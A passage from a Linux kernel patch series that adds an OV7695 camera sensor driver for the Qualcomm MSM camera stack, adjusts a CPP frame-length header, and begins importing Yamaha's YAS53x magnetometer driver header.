{0x3706, 0x40,}, + {0x3631, 0x44,}, + {0x3632, 0x05,}, + {0x3013, 0xd0,}, + {0x3705, 0x1d,}, + {0x3713, 0x0e,}, + {0x3012, 0x0a,}, + {0x3717, 0x18,}, + {0x3621, 0x47,}, + {0x0309, 0x24,}, + {0x3820, 0x90,}, + {0x4803, 0x08,}, + {0x0101, 0x02,}, + {0x5100, 0x01,}, + {0x4500, 0x24,}, + {0x5301, 0x05,}, + {0x5302, 0x0c,}, + {0x5303, 0x1c,}, + {0x5304, 0x2a,}, + {0x5305, 0x39,}, + {0x5306, 0x45,}, + {0x5307, 0x52,}, + {0x5308, 0x5d,}, + {0x5309, 0x68,}, + {0x530a, 0x7f,}, + {0x530b, 0x91,}, + {0x530c, 0xa5,}, + {0x530d, 0xc6,}, + {0x530e, 0xde,}, + {0x530f, 0xef,}, + {0x5310, 0x16,}, + {0x520a, 0x74,}, //f4 + {0x520b, 0x64,}, //f4 + {0x520c, 0xd4,}, //f4 + {0x5504, 0x08,}, + {0x5505, 0x48,}, + {0x5506, 0x07,}, + {0x5507, 0x0b,}, + {0x3a18, 0x01,}, + {0x3a19, 0x00,}, + {0x3503, 0x03,}, + {0x3500, 0x00,}, + {0x3501, 0x21,}, + {0x3502, 0x00,}, + {0x350a, 0x00,}, + {0x350b, 0x00,}, + {0x4008, 0x02,}, + {0x4009, 0x09,}, + {0x3002, 0x09,}, + {0x3024, 0x00,}, + {0x3503, 0x00,}, + {0x0101, 0x02,}, + {0x5002, 0x48,}, + {0x5910, 0x00,}, + {0x3a0f, 0x58,}, + {0x3a10, 0x50,}, + {0x3a1b, 0x5a,}, + {0x3a1e, 0x4e,}, + {0x3a11, 0xa0,}, + {0x3a1f, 0x28,}, + {0x3a18, 0x00,}, + {0x3a19, 0xf8,}, + {0x3503, 0x00,}, + {0x3a0d, 0x04,}, + {0x5000, 0xff,}, + {0x5001, 0x3f,}, + {0x5100, 0x1 ,}, //01 + {0x5101, 0x25,}, //48 + {0x5102, 0x0 ,}, //00 + {0x5103, 0xf3,}, //f8 + {0x5104, 0x7f,}, //04 + {0x5105, 0x5 ,}, //00 + {0x5106, 0xff,}, //00 + {0x5107, 0xf ,}, //00 + {0x5108, 0x1 ,}, //01 + {0x5109, 0x1f,}, //48 + {0x510a, 0x0 ,}, //00 + {0x510b, 0xde,}, //f8 + {0x510c, 0x56,}, //03 + {0x510d, 0x5 ,}, //00 + {0x510e, 0xff,}, //00 + {0x510f, 0xf ,}, //00 + {0x5110, 0x1 ,}, //01 + {0x5111, 0x23,}, //48 + {0x5112, 0x0 ,}, //00 + {0x5113, 0xe3,}, //f8 + {0x5114, 0x5c,}, //03 + {0x5115, 0x5 ,}, //00 + {0x5116, 0xff,}, //00 + {0x5117, 0xf ,}, //00 + {0x520a, 0x74,}, //f4 + {0x520b, 0x64,}, //f4 + {0x520c, 0xd4,}, //f4 + {0x5004, 0x41,}, + {0x5006, 0x41,}, + {0x5301, 0x05,}, + {0x5302, 0x0c,}, + {0x5303, 0x1c,}, + {0x5304, 0x2a,}, + {0x5305, 0x39,}, + {0x5306, 0x45,}, + {0x5307, 0x53,}, + {0x5308, 0x5d,}, + {0x5309, 0x68,}, + {0x530a, 0x7f,}, + {0x530b, 0x91,}, + {0x530c, 0xa5,}, + {0x530d, 0xc6,}, + {0x530e, 0xde,}, + {0x530f, 0xef,}, + {0x5310, 0x16,}, + {0x5003, 0x80,}, + {0x5500, 0x08,}, + {0x5501, 0x48,}, + {0x5502, 0x18,}, + {0x5503, 0x04,}, + {0x5504, 0x08,}, + {0x5505, 0x48,}, + {0x5506, 0x02,}, + {0x5507, 0x16,}, + {0x5508, 0x2d,}, + {0x5509, 0x08,}, + {0x550a, 0x48,}, + {0x550b, 0x06,}, + {0x550c, 0x04,}, + {0x550d, 0x01,}, + {0x5800, 0x02,}, + {0x5803, 0x2e,}, + {0x5804, 0x20,}, + {0x5600, 0x00,}, + {0x5601, 0x2c,}, + {0x5602, 0x5a,}, + {0x5603, 0x06,}, + {0x5604, 0x1c,}, + {0x5605, 0x65,}, + {0x5606, 0x81,}, + {0x5607, 0x9f,}, + {0x5608, 0x8a,}, + {0x5609, 0x15,}, + {0x560a, 0x01,}, + {0x560b, 0x9c,}, + {0x3811, 0x07,}, + {0x3813, 0x06,}, + {0x3630, 0x79,}, +}; + +static struct v4l2_subdev_info ov7695_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_YUYV8_2X8, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static struct msm_camera_i2c_reg_conf ov7695_start_settings[] = { + {0x301a, 0xf0}, +}; + +static struct msm_camera_i2c_reg_conf ov7695_stop_settings[] = { + {0x301a, 0xf4}, +}; + +static const struct i2c_device_id ov7695_i2c_id[] = { + {OV7695_SENSOR_NAME, (kernel_ulong_t)&ov7695_s_ctrl}, + { } +}; + +static int32_t msm_ov7695_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &ov7695_s_ctrl); +} + +static struct i2c_driver ov7695_i2c_driver = { + .id_table = ov7695_i2c_id, + .probe = msm_ov7695_i2c_probe, + .driver = { + .name = OV7695_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client ov7695_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id ov7695_dt_match[] = { + {.compatible = "ovti,ov7695", .data = &ov7695_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, ov7695_dt_match); + +static int32_t ov7695_platform_probe(struct platform_device *pdev) +{ + int32_t rc; + const struct of_device_id *match; + match = of_match_device(ov7695_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static struct platform_driver ov7695_platform_driver = { + .driver = { + .name = "ovti,ov7695", + .owner = THIS_MODULE, + .of_match_table = ov7695_dt_match, + }, + .probe = ov7695_platform_probe, +}; + +static int __init ov7695_init_module(void) +{ + int32_t rc; + pr_err("%s:%d\n", __func__, __LINE__); + rc = platform_driver_register(&ov7695_platform_driver); + if (!rc) + return rc; + pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&ov7695_i2c_driver); +} + +static void __exit ov7695_exit_module(void) +{ + pr_err("%s:%d\n", __func__, __LINE__); + if (ov7695_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&ov7695_s_ctrl); + platform_driver_unregister(&ov7695_platform_driver); + } else + i2c_del_driver(&ov7695_i2c_driver); + return; +} + +int32_t ov7695_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, + void __user *argp) +{ + struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; + long rc = 0; + int32_t i = 0; + mutex_lock(s_ctrl->msm_sensor_mutex); + CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, + s_ctrl->sensordata->sensor_name, cdata->cfgtype); + switch (cdata->cfgtype) { + case CFG_GET_SENSOR_INFO: + memcpy(cdata->cfg.sensor_info.sensor_name, + s_ctrl->sensordata->sensor_name, + sizeof(cdata->cfg.sensor_info.sensor_name)); + cdata->cfg.sensor_info.session_id = + s_ctrl->sensordata->sensor_info->session_id; + for (i = 0; i < SUB_MODULE_MAX; i++) + cdata->cfg.sensor_info.subdev_id[i] = + s_ctrl->sensordata->sensor_info->subdev_id[i]; + cdata->cfg.sensor_info.is_mount_angle_valid = + s_ctrl->sensordata->sensor_info->is_mount_angle_valid; + cdata->cfg.sensor_info.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d sensor name %s\n", __func__, __LINE__, + cdata->cfg.sensor_info.sensor_name); + CDBG("%s:%d session id %d\n", __func__, __LINE__, + cdata->cfg.sensor_info.session_id); + for (i = 0; i < SUB_MODULE_MAX; i++) + CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, + cdata->cfg.sensor_info.subdev_id[i]); + CDBG("%s:%d mount angle valid %d value %d\n", __func__, + __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, + cdata->cfg.sensor_info.sensor_mount_angle); + + break; + case CFG_SET_INIT_SETTING: + /* 1. Write Recommend settings */ + /* 2. Write change settings */ + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, ov7695_recommend_settings, + ARRAY_SIZE(ov7695_recommend_settings), + MSM_CAMERA_I2C_BYTE_DATA); + break; + + case CFG_SET_RESOLUTION: { + /*copy from user the desired resoltuion*/ + enum msm_sensor_resolution_t res = MSM_SENSOR_INVALID_RES; + if (copy_from_user(&res, (void *)cdata->cfg.setting, + sizeof(enum msm_sensor_resolution_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + pr_err("%s:%d res =%d\n", __func__, __LINE__, res); + + if (res == MSM_SENSOR_RES_FULL) { + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, ov7695_vga_settings, + ARRAY_SIZE(ov7695_vga_settings), + MSM_CAMERA_I2C_BYTE_DATA); + pr_err("%s:%d res =%d\n ov7695_vga_settings ", + __func__, __LINE__, res); + } else { + pr_err("%s:%d failed resoultion set\n", __func__, + __LINE__); + rc = -EFAULT; + } + } + break; + case CFG_SET_STOP_STREAM: + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, ov7695_stop_settings, + ARRAY_SIZE(ov7695_stop_settings), + MSM_CAMERA_I2C_BYTE_DATA); + break; + case CFG_SET_START_STREAM: + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, ov7695_start_settings, + ARRAY_SIZE(ov7695_start_settings), + MSM_CAMERA_I2C_BYTE_DATA); + break; + case CFG_GET_SENSOR_INIT_PARAMS: + cdata->cfg.sensor_init_params.modes_supported = + s_ctrl->sensordata->sensor_info->modes_supported; + cdata->cfg.sensor_init_params.position = + s_ctrl->sensordata->sensor_info->position; + cdata->cfg.sensor_init_params.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + pr_err("%s:%d init params mode %d pos %d mount %d\n", __func__, + __LINE__, + cdata->cfg.sensor_init_params.modes_supported, + cdata->cfg.sensor_init_params.position, + cdata->cfg.sensor_init_params.sensor_mount_angle); + break; + case CFG_SET_SLAVE_INFO: { + struct msm_camera_sensor_slave_info sensor_slave_info; + struct msm_camera_power_ctrl_t *p_ctrl; + uint16_t size; + int slave_index = 0; + if (copy_from_user(&sensor_slave_info, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_sensor_slave_info))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + /* Update sensor slave address */ + if (sensor_slave_info.slave_addr) + s_ctrl->sensor_i2c_client->cci_client->sid = + sensor_slave_info.slave_addr >> 1; + + /* Update sensor address type */ + s_ctrl->sensor_i2c_client->addr_type = + sensor_slave_info.addr_type; + + /* Update power up / down sequence */ + p_ctrl = &s_ctrl->sensordata->power_info; + size = sensor_slave_info.power_setting_array.size; + if (p_ctrl->power_setting_size < size) { + struct msm_sensor_power_setting *tmp; + tmp = kmalloc(sizeof(struct msm_sensor_power_setting) + * size, GFP_KERNEL); + if (!tmp) { + pr_err("%s: failed to alloc mem\n", __func__); + rc = -ENOMEM; + break; + } + kfree(p_ctrl->power_setting); + p_ctrl->power_setting = tmp; + } + p_ctrl->power_setting_size = size; + + rc = copy_from_user(p_ctrl->power_setting, (void *) + sensor_slave_info.power_setting_array.power_setting, + size * sizeof(struct msm_sensor_power_setting)); + if (rc) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + CDBG("%s sensor id %x sensor addr type %d sensor reg %x\n" + "sensor id %x\n", __func__, + sensor_slave_info.slave_addr, + sensor_slave_info.addr_type, + sensor_slave_info.sensor_id_info.sensor_id_reg_addr, + sensor_slave_info.sensor_id_info.sensor_id); + for (slave_index = 0; slave_index < + p_ctrl->power_setting_size; slave_index++) { + CDBG("%s i %d power setting %d %d %ld %d\n", __func__, + slave_index, + p_ctrl->power_setting[slave_index].seq_type, + p_ctrl->power_setting[slave_index].seq_val, + p_ctrl->power_setting[slave_index].config_val, + p_ctrl->power_setting[slave_index].delay); + } + break; + } + case CFG_WRITE_I2C_ARRAY: { + struct msm_camera_i2c_reg_setting conf_array; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( + s_ctrl->sensor_i2c_client, &conf_array); + kfree(reg_setting); + break; + } + case CFG_WRITE_I2C_SEQ_ARRAY: { + struct msm_camera_i2c_seq_reg_setting conf_array; + struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_seq_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_seq_reg_array)), + GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_seq_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_seq_table(s_ctrl->sensor_i2c_client, + &conf_array); + kfree(reg_setting); + break; + } + + case CFG_POWER_UP: + if (s_ctrl->func_tbl->sensor_power_up) + rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_POWER_DOWN: + if (s_ctrl->func_tbl->sensor_power_down) + rc = s_ctrl->func_tbl->sensor_power_down(s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_SET_STOP_STREAM_SETTING: { + struct msm_camera_i2c_reg_setting *stop_setting = + &s_ctrl->stop_setting; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + if (copy_from_user(stop_setting, (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = stop_setting->reg_setting; + stop_setting->reg_setting = kzalloc(stop_setting->size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!stop_setting->reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(stop_setting->reg_setting, + (void *)reg_setting, stop_setting->size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(stop_setting->reg_setting); + stop_setting->reg_setting = NULL; + stop_setting->size = 0; + rc = -EFAULT; + break; + } + break; + } + case CFG_SET_STREAM_TYPE: { + enum msm_camera_stream_type_t stream_type = MSM_CAMERA_STREAM_INVALID; + if (copy_from_user(&stream_type, (void *)cdata->cfg.setting, + sizeof(enum msm_camera_stream_type_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + s_ctrl->camera_stream_type = stream_type; + break; + } + case CFG_SET_SATURATION: + break; + case CFG_SET_CONTRAST: + break; + case CFG_SET_SHARPNESS: + break; + case CFG_SET_AUTOFOCUS: + /* TO-DO: set the Auto Focus */ + pr_debug("%s: Setting Auto Focus", __func__); + break; + case CFG_CANCEL_AUTOFOCUS: + /* TO-DO: Cancel the Auto Focus */ + pr_debug("%s: Cancelling Auto Focus", __func__); + break; + case CFG_SET_ISO: + break; + case CFG_SET_EXPOSURE_COMPENSATION: + break; + case CFG_SET_EFFECT: + break; + case CFG_SET_ANTIBANDING: + break; + case CFG_SET_BESTSHOT_MODE: + break; + case CFG_SET_WHITE_BALANCE: + break; + default: + rc = -EFAULT; + break; + } + + mutex_unlock(s_ctrl->msm_sensor_mutex); + + return rc; +} + +static struct msm_sensor_fn_t ov7695_sensor_func_tbl = { + .sensor_config = ov7695_sensor_config, + .sensor_power_up = msm_sensor_power_up, + .sensor_power_down = msm_sensor_power_down, + .sensor_match_id = msm_sensor_match_id, +}; + +static struct msm_sensor_ctrl_t ov7695_s_ctrl = { + .sensor_i2c_client = &ov7695_sensor_i2c_client, + .power_setting_array.power_setting = ov7695_power_setting, + .power_setting_array.size = ARRAY_SIZE(ov7695_power_setting), + .msm_sensor_mutex = &ov7695_mut, + .sensor_v4l2_subdev_info = ov7695_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov7695_subdev_info), + .func_tbl = &ov7695_sensor_func_tbl, +}; + +module_init(ov7695_init_module); +module_exit(ov7695_exit_module); +MODULE_DESCRIPTION("Aptina 0.3MP YUV sensor driver"); +MODULE_LICENSE("GPL v2"); diff --git a/include/media/msmb_pproc_wt88047.h b/include/media/msmb_pproc_wt88047.h index 94a48a7d527f5..6eadf99d45fee 100644 --- a/include/media/msmb_pproc_wt88047.h +++ b/include/media/msmb_pproc_wt88047.h @@ -13,7 +13,8 @@ #define MAX_NUM_CPP_STRIPS 8 #define MSM_CPP_MAX_NUM_PLANES 3 -#define MSM_CPP_MAX_FRAME_LENGTH 1024 +#define MSM_CPP_MIN_FRAME_LENGTH 13 +#define MSM_CPP_MAX_FRAME_LENGTH 2048 #define MSM_CPP_MAX_FW_NAME_LEN 32 #define MAX_FREQ_TBL 10 From 8fbe1e39d41184efc8019d38d76bdd6d2c3e491b Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Tue, 17 Nov 2015 21:51:44 +0700 Subject: [PATCH 042/365] input: misc: Import R7plus YAS53x driver Change-Id: I8536aadb47410da9c56e4b2878c7bf17008fd3e6 --- drivers/input/misc/yas.h | 1854 +++++++++++++++++++++++ drivers/input/misc/yas_cfg.h | 240 +++ drivers/input/misc/yas_mag_drv-yas532.c | 801 ++++++++++ drivers/input/misc/yas_mag_drv-yas537.c | 699 +++++++++ drivers/input/misc/yas_mag_kernel.c | 932 ++++++++++++ 5 files changed, 4526 insertions(+) create mode 100644 drivers/input/misc/yas.h create mode 100644 drivers/input/misc/yas_cfg.h create mode 100644 drivers/input/misc/yas_mag_drv-yas532.c create mode 100644 drivers/input/misc/yas_mag_drv-yas537.c create mode 100644 drivers/input/misc/yas_mag_kernel.c diff --git a/drivers/input/misc/yas.h b/drivers/input/misc/yas.h new file mode 100644 index 0000000000000..23bacb73afecb --- /dev/null +++ b/drivers/input/misc/yas.h @@ -0,0 +1,1854 @@ +/** + * Header file of the core driver API @file yas.h + * + * Copyright (c) 2013-2014 Yamaha Corporation + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any damages + * arising from the use of this software. + * + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you must not + * claim that you wrote the original software. If you use this software + * in a product, an acknowledgment in the product documentation would be + * appreciated but is not required. + * 2. Altered source versions must be plainly marked as such, and must not be + * misrepresented as being the original software. + * 3. This notice may not be removed or altered from any source distribution. + */ + +#ifndef __YAS_H__ +#define __YAS_H__ + +#include "yas_cfg.h" + +#define YAS_VERSION "10.2.0d" /*!< MS-x Driver Version */ + +/* ---------------------------------------------------------------------------- + * Typedef definition + *--------------------------------------------------------------------------- */ + +#if defined(__KERNEL__) +#include +#else +#include +/*typedef signed char int8_t;*/ +/*typedef unsigned char uint8_t;*/ +/*typedef signed short int16_t;*/ +/*typedef unsigned short uint16_t;*/ +/*typedef signed int int32_t;*/ +/*typedef unsigned int uint32_t;*/ +#endif + +/* ---------------------------------------------------------------------------- + * Macro definition + *--------------------------------------------------------------------------- */ + +#define YAS_DEBUG (0) /*!< Debug print (0:disabled, + 1:enabled) */ + +#define YAS_NO_ERROR (0) /*!< Succeed */ +#define YAS_ERROR_ARG (-1) /*!< Invalid argument */ +#define YAS_ERROR_INITIALIZE (-2) /*!< Invalid initialization status + */ +#define YAS_ERROR_BUSY (-3) /*!< Sensor is busy */ +#define YAS_ERROR_DEVICE_COMMUNICATION (-4) /*!< Device communication error */ +#define YAS_ERROR_CHIP_ID (-5) /*!< Invalid chip id */ +#define YAS_ERROR_CALREG (-6) /*!< Invalid CAL register */ +#define YAS_ERROR_OVERFLOW (-7) /*!< Overflow occured */ +#define YAS_ERROR_UNDERFLOW (-8) /*!< Underflow occured */ +#define YAS_ERROR_DIRCALC (-9) /*!< Direction calcuration error */ +#define YAS_ERROR_ERROR (-128) /*!< other error */ + +#ifndef NULL +#ifdef __cplusplus +#define NULL (0) /*!< NULL */ +#else +#define NULL ((void *)(0)) /*!< NULL */ +#endif +#endif +#ifndef NELEMS +#define NELEMS(a) ((int)(sizeof(a)/sizeof(a[0]))) /*!< Number of array + elements */ +#endif +#ifndef ABS +#define ABS(a) ((a) > 0 ? (a) : -(a)) /*!< Absolute value */ +#endif +#ifndef M_PI +#define M_PI (3.14159265358979323846) /*!< Math PI */ +#endif + +#define YAS_MATRIX_NORM (10000) /*!< Matrix normalize unit */ +/* YAS_MATRIX_NORM_RECIP_BIT = SFIXED_RECIP_Q31(YAS_MATRIX_NORM, + * &YAS_MATRIX_NORM_RECIP) */ +#define YAS_MATRIX_NORM_RECIP (0x68DB8BAC) +#define YAS_MATRIX_NORM_RECIP_BIT (18) +#define YAS_QUATERNION_NORM (10000) /*!< Quaternion normalize unit */ + +#if YAS_DEBUG +#ifdef __KERNEL__ +#include +#define YLOGD(args) (printk args) /*!< Debug log (DEBUG) */ +#define YLOGI(args) (printk args) /*!< Debug log (INFO) */ +#define YLOGE(args) (printk args) /*!< Debug log (ERROR) */ +#define YLOGW(args) (printk args) /*!< Debug log (WARNING) */ +#elif defined __ANDROID__ +#include +#ifdef LOG_TAG +#undef LOG_TAG +#endif +#define LOG_TAG "yas" +#define YLOGD(args) (ALOGD args) /*!< Debug log (DEBUG) */ +#define YLOGI(args) (ALOGI args) /*!< Debug log (INFO) */ +#define YLOGE(args) (ALOGE args) /*!< Debug log (ERROR) */ +#define YLOGW(args) (ALOGW args) /*!< Debug log (WARNING) */ +#else /* __ANDROID__ */ +#include +#define YLOGD(args) (printf args) /*!< Debug log (DEBUG) */ +#define YLOGI(args) (printf args) /*!< Debug log (INFO) */ +#define YLOGE(args) (printf args) /*!< Debug log (ERROR) */ +#define YLOGW(args) (printf args) /*!< Debug log (WARNING) */ +#endif /* __ANDROID__ */ +#else /* DEBUG */ +#define YLOGD(args) /*!< Debug log (DEBUG) */ +#define YLOGI(args) /*!< Debug log (INFO) */ +#define YLOGW(args) /*!< Debug log (ERROR) */ +#define YLOGE(args) /*!< Debug log (WARNING) */ +#endif /* DEBUG */ + +#define YAS_TYPE_ACC_NONE (0x00000001) /*!< No Acceleration */ +#define YAS_TYPE_MAG_NONE (0x00000002) /*!< No Magnetometer */ +#define YAS_TYPE_GYRO_NONE (0x00000004) /*!< No Gyroscope */ +#define YAS_TYPE_A_ACC (0x00000008) /*!< 3-axis Acceleration */ +#define YAS_TYPE_M_MAG (0x00000010) /*!< 3-axis Magnetometer */ +#define YAS_TYPE_G_GYRO (0x00000020) /*!< 3-axis Gyroscope */ +#define YAS_TYPE_AM_ACC (0x00100000) /*!< 6-axis (Acc+Mag) + Acceleration */ +#define YAS_TYPE_AM_MAG (0x00200000) /*!< 6-axis (Acc+Mag) + Magnetometer */ +#define YAS_TYPE_AG_ACC (0x01000000) /*!< 6-axis (Acc+Gyro) + Acceleration */ +#define YAS_TYPE_AG_GYRO (0x02000000) /*!< 6-axis (Acc+Gyro) + Gyroscope */ +#define YAS_TYPE_AMG_ACC (0x10000000) /*!< 9-axis (Acc+Gyro+Mag) + Acceleration */ +#define YAS_TYPE_AMG_MAG (0x20000000) /*!< 9-axis (Acc+Gyro+Mag) + Magnetometer */ +#define YAS_TYPE_AMG_GYRO (0x40000000) /*!< 9-axis (Acc+Gyro+Mag) + Gyroscope */ + +#if YAS_ACC_DRIVER == YAS_ACC_DRIVER_NONE +#define YAS_TYPE_ACC YAS_TYPE_ACC_NONE +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_ADXL345 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_ADXL346 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA150 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA222 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA222E +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA250 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA250E +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA254 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMA255 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMI055 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_BMI058 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_DMARD08 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXSD9 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXTE9 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXTF9 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXTI9 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXTJ2 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_KXUD9 +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_LIS331DL +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_LIS331DLH +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_LIS331DLM +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_LIS3DH +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_LSM330DLC +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_MMA8452Q +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_MMA8453Q +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_U2DH +#define YAS_TYPE_ACC YAS_TYPE_A_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_YAS535 +#define YAS_TYPE_ACC YAS_TYPE_AM_ACC +#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_YAS53x +#define YAS_TYPE_ACC YAS_TYPE_AMG_ACC +#endif + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_NONE +#define YAS_TYPE_MAG YAS_TYPE_MAG_NONE +#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS529 /* MS-3C */ +#define YAS_TYPE_MAG YAS_TYPE_M_MAG +#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 /* MS-3E */ +#define YAS_TYPE_MAG YAS_TYPE_M_MAG +#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 /* MS-3R */ +#define YAS_TYPE_MAG YAS_TYPE_M_MAG +#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 /* MS-3F */ +#define YAS_TYPE_MAG YAS_TYPE_M_MAG +#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS535 /* MS-6C */ +#define YAS_TYPE_MAG YAS_TYPE_AM_MAG +#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS536 /* 